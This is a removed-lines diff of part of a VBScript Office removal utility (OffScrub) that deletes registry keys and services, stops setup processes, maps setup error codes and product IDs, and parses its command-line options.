-Sub RegDeleteKey(hDefKey, sSubKeyName)
-    Dim sWow64Key
-
-    'Ensure trailing "\"
-    sSubKeyName = sSubKeyName & "\"
-    While InStr(sSubKeyName,"\\")>0
-        sSubKeyName = Replace(sSubKeyName,"\\","\")
-    Wend
-
-    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
-            If NOT fForce Then
-                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
-                Exit Sub
-            Else
-                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-            End If
-        End If
-    End If
-
-    If Len(sSubKeyName) > 1 Then
-        'Strip of trailing "\"
-        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
-    End If
-
-    If RegKeyExists(hDefKey, sSubKeyName) Then
-        If Not fDetectOnly Then
-            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
-            On Error Resume Next
-            RegDeleteKeyEx hDefKey, sSubKeyName
-            On Error Goto 0
-        Else
-            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
-        End If
-    End If 'RegKeyExists
-    If f64 Then
-        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
-        If RegKeyExists(hDefKey,sWow64Key) Then
-            If Not fDetectOnly Then
-                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
-                On Error Resume Next
-                RegDeleteKeyEx hDefKey, sWow64Key
-                On Error Goto 0
-            Else
-                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
-            End If
-        End If 'RegKeyExists
-    End If
-End Sub 'RegDeleteKey
-'=======================================================================================================
-
-'Recursively delete a registry structure
-Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
-    Dim arrSubkeys
-    Dim sSubkey
-    Dim iRetVal
-
-    On Error Resume Next
-    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
-    If IsArray(arrSubkeys) Then
-        For Each sSubkey In arrSubkeys
-            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
-        Next
-    End If
-    If Not fDetectOnly Then
-        iRetVal = 0
-        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
-        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-    End If
-End Sub 'RegDeleteKeyEx
-'=======================================================================================================
-
-'Return the alternate regkey location on 64bit environment
-Function Wow64Key(hDefKey, sSubKeyName)
-    Dim iPos
-
-    Select Case hDefKey
-        Case HKCU
-            If Left(sSubKeyName,17) = "Software\Classes\" Then
-                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
-            Else
-                iPos = InStr(sSubKeyName,"\")
-                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
-            End If
-
-        Case HKLM
-            If Left(sSubKeyName,17) = "Software\Classes\" Then
-                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
-            Else
-                iPos = InStr(sSubKeyName,"\")
-                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
-            End If
-
-        Case Else
-            Wow64Key = "Wow6432Node\" & sSubKeyName
-
-    End Select 'hDefKey
-End Function 'Wow64Key
-'=======================================================================================================
-
-'Remove duplicate entries from a one dimensional array
-Function RemoveDuplicates(Array)
-    Dim Item
-    Dim oDic
-
-    Set oDic = CreateObject("Scripting.Dictionary")
-    For Each Item in Array
-        If Not oDic.Exists(Item) Then oDic.Add Item,Item
-    Next 'Item
-    RemoveDuplicates = oDic.Keys
-End Function 'RemoveDuplicates
-'=======================================================================================================
-
-'End running instances of setup
-Sub EndCurrentInstalls ()
-    Dim Processes, Process
-    Dim iRet
-
-    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
-    For Each Process in Processes
-        Log " - End process " & Process.Name
-        iRet = Process.Terminate()
-        CheckError "EndCurrentInstalls: " & "Process.Name"
-    Next 'Process
-    StopService "msiserver"
-End Sub 'EndCurrentInstalls
-'=======================================================================================================
-
-'Uses WMI to stop a service
-Function StopService(sService)
-    Dim Services, Service
-    Dim sQuery
-    Dim iRet
-
-    On Error Resume Next
-
-    iRet = 0
-    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
-    Set Services = oWmiLocal.Execquery(sQuery)
-    'Stop the service
-    For Each Service in Services
-        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
-        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
-
-    Next 'Service
-    StopService = (iRet = 0)
-End Function 'StopService
-'=======================================================================================================
-
-'Delete a service
-Sub DeleteService(sService)
-    Dim Services, Service, Processes, Process
-    Dim sQuery, sStates
-    Dim iRet
-
-    On Error Resume Next
-
-    sStates = "STARTED;RUNNING"
-    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
-    Set Services = oWmiLocal.Execquery(sQuery)
-
-    'Stop and delete the service
-    For Each Service in Services
-        Log " Found service " & sService & " in state " & Service.State
-        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
-        'Ensure no more instances of the service are running
-        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
-        For Each Process in Processes
-            iRet = Process.Terminate()
-        Next 'Process
-        If Not fDetectOnly Then
-            Log " - Deleting Service -> " & sService
-            iRet = Service.Delete()
-        Else
-            Log " - Simulate deleting Service -> " & sService
-        End If
-    Next 'Service
-    Set Services = Nothing
-    Err.Clear
-
-End Sub 'DeleteService
-'=======================================================================================================
-
-'Translation for setup.exe error codes
-Function SetupRetVal(RetVal)
-    Select Case RetVal
-        Case 0 : SetupRetVal = "Success"
-        Case 30001,1 : SetupRetVal = "AbstractMethod"
-        Case 30002,2 : SetupRetVal = "ApiProhibited"
-        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
-        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
-        Case 30005,5 : SetupRetVal = "ArgumentNullException"
-        Case 30006,6 : SetupRetVal = "AssertionFailed"
-        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
-        Case 30008,8 : SetupRetVal = "CommandFailed"
-        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
-        Case 30010,10 : SetupRetVal = "CopyFailed"
-        Case 30011,11 : SetupRetVal = "CreateEventFailed"
-        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
-        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
-        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
-        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
-        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
-        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
-        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
-        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
-        Case 30020,20 : SetupRetVal = "FileNotFound"
-        Case 30021,21 : SetupRetVal = "FileNotOpen"
-        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
-        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
-        Case 30024,24 : SetupRetVal = "HWNDNotFound"
-        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
-        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
-        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
-        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
-        Case 30029,29 : SetupRetVal = "InvalidArgument"
-        Case 30030,30 : SetupRetVal = "InvalidCDKey"
-        Case 30031,31 : SetupRetVal = "InvalidColumnType"
-        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
-        Case 30033,33 : SetupRetVal = "InvalidData"
-        Case 30034,34 : SetupRetVal = "InvalidDirectory"
-        Case 30035,35 : SetupRetVal = "InvalidFormat"
-        Case 30036,36 : SetupRetVal = "InvalidInitialization"
-        Case 30037,37 : SetupRetVal = "InvalidMethod"
-        Case 30038,38 : SetupRetVal = "InvalidOperation"
-        Case 30039,39 : SetupRetVal = "InvalidParameter"
-        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
-        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
-        Case 30042,42 : SetupRetVal = "InvalidReference"
-        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
-        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
-        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
-        Case 30046,46 : SetupRetVal = "LogNotInitialized"
-        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
-        Case 30048,48 : SetupRetVal = "MissingXMLNode"
-        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
-        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
-        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
-        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
-        Case 30053,53 : SetupRetVal = "NoProductsFound"
-        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
-        Case 30055,55 : SetupRetVal = "NotYetImplemented"
-        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
-        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
-        Case 30058,58 : SetupRetVal = "NullReference"
-        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
-        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
-        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
-        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
-        Case 30063,63 : SetupRetVal = "OutOfMemory"
-        Case 30064,64 : SetupRetVal = "OutOfRange"
-        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
-        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
-        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
-        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
-        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
-        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
-        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
-        Case 30072,72 : SetupRetVal = "ResourceNotFound"
-        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
-        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
-        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
-        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
-        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
-        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
-        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
-        Case 30080,80 : SetupRetVal = "StorageNotCreated"
-        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
-        Case 30082,82 : SetupRetVal = "SystemError"
-        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
-        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
-        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
-        Case 30086,86 : SetupRetVal = "TooManyProducts"
-        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
-        Case 30088,88 : SetupRetVal = "UnexpectedError"
-        Case 30089,89 : SetupRetVal = "Unitialized"
-        Case 30090,90 : SetupRetVal = "UserCancel"
-        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
-        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
-        Case 30093,93 : SetupRetVal = "IntegerTruncation"
-        'msiexec return values
-        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
-        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
-        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
-        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
-        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
-        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
-        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
-        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
-        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
-        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
-        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
-        Case 1611 : SetupRetVal = "INDEX_ABSENT"
-        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
-        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
-        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
-        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
-        Case 1616 : SetupRetVal = "INVALID_FIELD"
-        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
-        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
-        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
-        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
-        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
-        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
-        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
-        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
-        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
-        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
-        Case 1628 : SetupRetVal = "INVALID_TABLE"
-        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
-        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
-        Case 1631 : SetupRetVal = "CREATE_FAILED"
-        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
-        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
-        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
-        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
-        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
-        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
-        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
-        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
-        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
-        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
-        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
-        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
-        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
-        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
-        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
-        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
-        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
-        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
-        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
-        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
-        Case Else : SetupRetVal = "Unknown Return Value"
-    End Select
-End Function 'SetupRetVal
-'=======================================================================================================
-
-Function GetProductID(sProdID)
-        Dim sReturn
-
-        Select Case sProdId
-
-        Case "000F" : sReturn = "MONDO"
-        Case "0010" : sReturn = "WEBFLDRS"
-        Case "0011" : sReturn = "PROPLUS"
-        Case "0012" : sReturn = "STANDARD"
-        Case "0013" : sReturn = "BASIC"
-        Case "0014" : sReturn = "PRO"
-        Case "0015" : sReturn = "ACCESS"
-        Case "0016" : sReturn = "EXCEL"
-        Case "0017" : sReturn = "SharePointDesigner"
-        Case "0018" : sReturn = "PowerPoint"
-        Case "0019" : sReturn = "Publisher"
-        Case "001A" : sReturn = "Outlook"
-        Case "001B" : sReturn = "Word"
-        Case "001C" : sReturn = "AccessRuntime"
-        Case "001F" : sReturn = "Proof"
-        Case "0020" : sReturn = "O2007CNV"
-        Case "0021" : sReturn = "VisualWebDeveloper"
-        Case "0026" : sReturn = "ExpressionWeb"
-        Case "0029" : sReturn = "Excel"
-        Case "002A" : sReturn = "Office64"
-        Case "002B" : sReturn = "Word"
-        Case "002C" : sReturn = "Proofing"
-        Case "002E" : sReturn = "Ultimate"
-        Case "002F" : sReturn = "HomeAndStudent"
-        Case "0028" : sReturn = "IME"
-        Case "0030" : sReturn = "Enterprise"
-        Case "0031" : sReturn = "ProfessionalHybrid"
-        Case "0033" : sReturn = "Personal"
-        Case "0035" : sReturn = "ProfessionalHybrid"
-        Case "0037" : sReturn = "PowerPoint"
-        Case "0038" : sReturn = "OlTimeZoneTool"
-        Case "003A" : sReturn = "PrjStd"
-        Case "003B" : sReturn = "PrjPro"
-        Case "003D" : sReturn = "SINGLEIMAGE"
-        Case "0043" : sReturn = "OFFICE32"
-        Case "0044" : sReturn = "InfoPath"
-        Case "0045" : sReturn = "XWEB"
-        Case "0048" : sReturn = "OLC"
-        Case "0049" : sReturn = "ACADEMIC"
-        Case "004A" : sReturn = "OWC11"
-        Case "0051" : sReturn = "VISPRO"
-        Case "0052" : sReturn = "VisView"
-        Case "0053" : sReturn = "VisStd"
-        Case "0054" : sReturn = "VisMUI"
-        Case "0055" : sReturn = "VisMUI"
-        Case "0057" : sReturn = "VISIO"
-        Case "0061" : sReturn = "CLICK2RUN"
-        Case "0062" : sReturn = "CLICK2RUN"
-        Case "0066" : sReturn = "CLICK2RUN"
-        Case "006C" : sReturn = "CLICK2RUN"
-        Case "006D" : sReturn = "CLICK2RUN"
-        Case "006E" : sReturn = "Shared"
-        Case "006F" : sReturn = "OFFICE"
-        Case "0070" : sReturn = "OOBE"
-        Case "0074" : sReturn = "STARTER"
-        Case "007A" : sReturn = "OLC" 'Outlook Connector
-        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
-        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
-        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
-        Case "008A" : sReturn = "RecentDocs"
-        Case "008B" : sReturn = "SmallBusinessBasics"
-        Case "00A1" : sReturn = "ONENOTE"
-        Case "00A3" : sReturn = "OneNoteHomeStudent"
-        Case "00A4" : sReturn = "OWC11"
-        Case "00A7" : sReturn = "CPAO"
-        Case "00A9" : sReturn = "InterConnect"
-        Case "00AF" : sReturn = "PPtView"
-        Case "00B0" : sReturn = "ExPdf"
-        Case "00B1" : sReturn = "ExXps"
-        Case "00B2" : sReturn = "ExPdfXps"
-        Case "00B4" : sReturn = "PrjMUI"
-        Case "00B5" : sReturn = "PrjtMUI"
-        Case "00B9" : sReturn = "AER"
-        Case "00BA" : sReturn = "Groove"
-        Case "00CA" : sReturn = "SmallBusiness"
-        Case "00E0" : sReturn = "Outlook"
-        Case "00D1" : sReturn = "ACE"
-        Case "0100" : sReturn = "OfficeMUI"
-        Case "0101" : sReturn = "OfficeXMUI"
-        Case "0103" : sReturn = "PTK"
-        Case "0114" : sReturn = "GrooveSetupMetadata"
-        Case "0115" : sReturn = "SharedSetupMetadata"
-        Case "0116" : sReturn = "SharedSetupMetadata"
-        Case "0117" : sReturn = "AccessSetupMetadata"
-        Case "011A" : sReturn = "SendASmile"
-        Case "011D" : sReturn = "ProPlusSubscription"
-        Case "011F" : sReturn = "OLConnect"
-        Case "0126" : sReturn = "WWLIBCXM"
-
-        Case "1014" : sReturn = "STS"
-        Case "1015" : sReturn = "WSSMUI"
-        Case "1032" : sReturn = "PJSVRAPP"
-        Case "104B" : sReturn = "SPS"
-        Case "104E" : sReturn = "SPSMUI"
-        Case "107F" : sReturn = "OSrv"
-        Case "1080" : sReturn = "OSrv"
-        Case "1088" : sReturn = "lpsrvwfe"
-        Case "10D7" : sReturn = "IFS"
-        Case "10D8" : sReturn = "IFSMUI"
-        Case "10EB" : sReturn = "DLCAPP"
-        Case "10F5" : sReturn = "XLSRVAPP"
-        Case "10F6" : sReturn = "XlSrvWFE"
-        Case "10F7" : sReturn = "DLC"
-        Case "10F8" : sReturn = "SlSrvMui"
-        Case "10FB" : sReturn = "OSrchWFE"
-        Case "10FC" : sReturn = "OSRCHAPP"
-        Case "10FD" : sReturn = "OSrchMUI"
-        Case "1103" : sReturn = "DLC"
-        Case "1104" : sReturn = "LHPSRV"
-        Case "1105" : sReturn = "PIA"
-        Case "1106" : sReturn = "GRVMGMTSRV"
-        Case "1109" : sReturn = "GSERVERRELAY"
-        Case "110D" : sReturn = "OSERVER"
-        Case "110F" : sReturn = "PSERVER"
-        Case "1110" : sReturn = "WSS"
-        Case "1121" : sReturn = "SPSSDK"
-        Case "1122" : sReturn = "SPSDev"
-        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
-        Case Else : sReturn = sProdID
-
-        End Select 'sProdId
-    GetProductID = sReturn
-End Function 'GetProductID
-'=======================================================================================================
-
-Sub Log (sLog)
-    If NOT fQuiet AND fCScript Then wscript.echo sLog
-    LogStream.WriteLine sLog
-End Sub 'Log
-'=======================================================================================================
-
-Sub LogOnly (sLog)
-    LogStream.WriteLine sLog
-End Sub 'Log
-'=======================================================================================================
-
-Sub CheckError(sModule)
-    If Err <> 0 Then
-        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
-               "; Err# (Dec): " & Err & "; Description : " & Err.Description
-    End If 'Err = 0
-    Err.Clear
-End Sub
-'=======================================================================================================
-
-'Command line parser
-Sub ParseCmdLine
-
-    Dim iCnt, iArgCnt
-    Dim arrArguments
-    Dim sArg0, sArguments
-
-    iArgCnt = Wscript.Arguments.Count
-    If iArgCnt > 1 Then
-        If wscript.Arguments(1) = "UAC" Then
-            If wscript.arguments.count = 2 Then iArgCnt = 0
-        End If
-    End If
-
-    sArguments = ""
-    If iArgCnt = 0 Then
-        If sDefault = "" Then
-            'Create the log
-            CreateLog
-            Log "No argument specified. Preparing user prompt" & vbCrLf
-            fPassive = False
-            FindInstalledOProducts
-            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
-            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
-                    "Examples:" & vbCrLf & _
-                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
-                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
-                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
-                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
-                    "?" & vbTab & vbTab & "-> display Help", _
-                    SCRIPTFILE & " - " & ONAME & " remover", _
-                    sDefault)
-
-            If IsEmpty(sDefault) Then 'User cancelled
-                Log "User cancelled. CleanUp & Exit."
-                'Undo temporary entries created in ARP
-                TmpKeyCleanUp
-                wscript.quit 1602
-            End If 'IsEmpty(sDefault)
-            Log "Answer from prompt: " & sDefault & vbCrLf
-        End If
-        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
-        arrArguments = Split(Trim(sDefault), " ")
-        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
-    Else
-        ReDim arrArguments(iArgCnt-1)
-        For iCnt = 0 To (iArgCnt-1)
-            sArguments = sArguments & arrArguments(iCnt) & " "
-            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
-        Next 'iCnt
-    End If 'iArgCnt = 0
-
-    'Handle the SKU list
-    sArg0 = Replace(arrArguments(0), "/", "")
-    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
-
-    Select Case UCase(sArg0)
-
-    Case "?"
-        ShowSyntax
-
-    Case "ALL"
-        fRemoveAll = True
-        fRemoveOse = False
-
-    Case "CLIENTSUITES"
-        fRemoveCSuites = True
-        fRemoveOse = False
-
-    Case "CLIENTSTANDALONE"
-        fRemoveCSingle = True
-        fRemoveOse = False
-
-    Case "CLIENTALL"
-        fRemoveCSuites = True
-        fRemoveCSingle = True
-        fRemoveOse = False
-
-    Case "SERVER"
-        fRemoveSrv = True
-        fRemoveOse = False
-
-    Case "ALL,OSE"
-        fRemoveAll = True
-        fRemoveOse = True
-
-    Case Else
-        fRemoveAll = False
-        fRemoveOse = False
-        sSkuRemoveList = sArg0
-
-    End Select
-
-    For iCnt = 0 To UBound(arrArguments)
-
-        Select Case arrArguments(iCnt)
-
-        Case "?", "/?", "-?"
-            ShowSyntax
-
-        Case "/B", "/BYPASS"
-            If UBound(arrArguments) > iCnt Then
-                If InStr(arrArguments(iCnt + 1), "1") > 0 Then fBypass_Stage1 = True
-                If InStr(arrArguments(iCnt + 1), "2") > 0 Then fBypass_Stage2 = True
-                If InStr(arrArguments(iCnt + 1), "3") > 0 Then fBypass_Stage3 = True
-                If InStr(arrArguments(iCnt + 1), "4") > 0 Then fBypass_Stage4 = True
-            End If
-
-        Case "/D", "/DELETEUSERSETTINGS"
-            fKeepUser = False
-
-        Case "/FR", "/FASTREMOVE"
-            fBypass_Stage1 = True
-            fSkipSD = True
-
-        Case "/F", "/FORCE"
-            fForce = True
-
-        Case "/K", "/KEEPUSERSETTINGS"
-            fKeepUser = True
-
-        Case "/KEEPSG", "/KEEPSOFTGRID"
-            fKeepSG = True
-
-        Case "/KEEPLYNC"
-            fRemoveLync = False
-
-        Case "/REMOVELYNC"
-            fRemoveLync = True
-
-        Case "/L", "/LOG"
-            fLogInitialized = False
-            If UBound(arrArguments) > iCnt Then
-                If oFso.FolderExists(arrArguments(iCnt + 1)) Then
-                    sLogDir = arrArguments(iCnt + 1)
-                Else
-                    On Error Resume Next
-                    oFso.CreateFolder(arrArguments(iCnt + 1))
-                    If Err <> 0 Then sLogDir = sScrubDir Else sLogDir = arrArguments(iCnt + 1)
-                End If
-            End If
-
-        Case "/NOCANCEL"
-            fNoCancel = True
-
-        Case "/NOREBOOT"
-            fNoReboot = True
-
-        Case "/NE", "/NOELEVATE"
-            fNoElevate = True
-
-        Case "/O", "/OSE"
-            fRemoveOse = True
-
-        Case "/P", "/PREVIEW", "/DETECTONLY"
-            fDetectOnly = True
-
-        Case "/PASSIVE", "/QB-"
-            fPassive = True
-
-        Case "/Q", "/QUIET"
-            fQuiet = True
-
-        Case "/QB"
-            fQuiet = True
-            fBasic = True
-
-        Case "/QND"
-            fBypass_Stage1 = True
-            fBypass_Stage2 = True
-            fBypass_Stage3 = True
-            fRemoveOse = True
-            fRemoveOspp = True
-            fRemoveAll = True
-            fSkipSD = True
-            fForce = True
-
-        Case "/R", "/RECONCILE"
-            fTryReconcile = True
-
-        Case "/REMOVEOSPP" , "/CLEANOSPP"
-            fRemoveOspp = True
-
-        Case "/S", "/SKIPSD", "/SKIPSHORTCUTDETECTION"
-            fSkipSD = True
-
-        Case "/SC", "/SCANCOMPONENTS"
-            fBypass_Stage1 = False
-
-        Case Else
-
-        End Select
-    Next 'iCnt
-    If Not fLogInitialized Then CreateLog
-    LogOnly "Arguments: " & sArguments & vbCrLf
-
-End Sub 'ParseCmdLine
-'=======================================================================================================
-
-Sub CreateLog
-    Dim DateTime
-    Dim sLogName
-
-    On Error Resume Next
-    'Create the log file
-    Set DateTime = CreateObject("WbemScripting.SWbemDateTime")
-    DateTime.SetVarDate Now,True
-    sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
-    sLogName = sLogName &  "_" & Left(DateTime.Value,14)
-    sLogName = sLogName & "_ScrubLog.txt"
-    Err.Clear
-    Set LogStream = oFso.CreateTextFile(sLogName,True,True)
-    If Err <> 0 Then
-        Err.Clear
-        sLogDir = sScrubDir
-        sLogName = sLogDir & "\" & oWShell.ExpandEnvironmentStrings("%COMPUTERNAME%")
-        sLogName = sLogName &  "_" & Left(DateTime.Value,14)
-        sLogName = sLogName & "_ScrubLog.txt"
-        Set LogStream = oFso.CreateTextFile(sLogName,True,True)
-    End If
-
-    Log "Microsoft Customer Support Services - " & ONAME & " Removal Utility" & vbCrLf & vbCrLf & _
-                "OffScrub Version: " & SCRIPTVERSION & vbCrLf & _
-                "64 bit OS: " & f64
-    LogOnly     "OS Details: " & sOSinfo & vbCrLf
-    Log         "Start removal: " & Now & vbCrLf
-    fLogInitialized = True
-End Sub 'CreateLog
-'=======================================================================================================
-'-------------------------------------------------------------------------------
-'   RelaunchAs64Host
-'
-'   Relaunch self with 64 bit WScript host
-'-------------------------------------------------------------------------------
-Sub RelaunchAs64Host
-    Dim Argument, sCmd
-
-    sCmd = Replace (LCase(wscript.Path), "syswow64", "sysnative") & "\cscript.exe " & Chr(34) & WScript.scriptFullName & Chr(34)
-    If fQuiet AND NOT fCScript Then sCmd = Replace (sCmd, "\cscript.exe", "\wscript.exe")
-    If Wscript.Arguments.Count > 0 Then
-        For Each Argument in Wscript.Arguments
-            sCmd = sCmd & " " & chr(34) & Argument & chr(34)
-        Next 'Argument
-    Else
-    	If Not sDefault = "" Then sCmd = sCmd & " " & chr(34) & sDefault & chr(34)
-    End If
-    sCmd = sCmd & " /ChangedHostBitness"
-    Wscript.Quit oWShell.Run(sCmd, 1, True)
-
-End Sub 'RelaunchAs64Host
-'=======================================================================================================
-
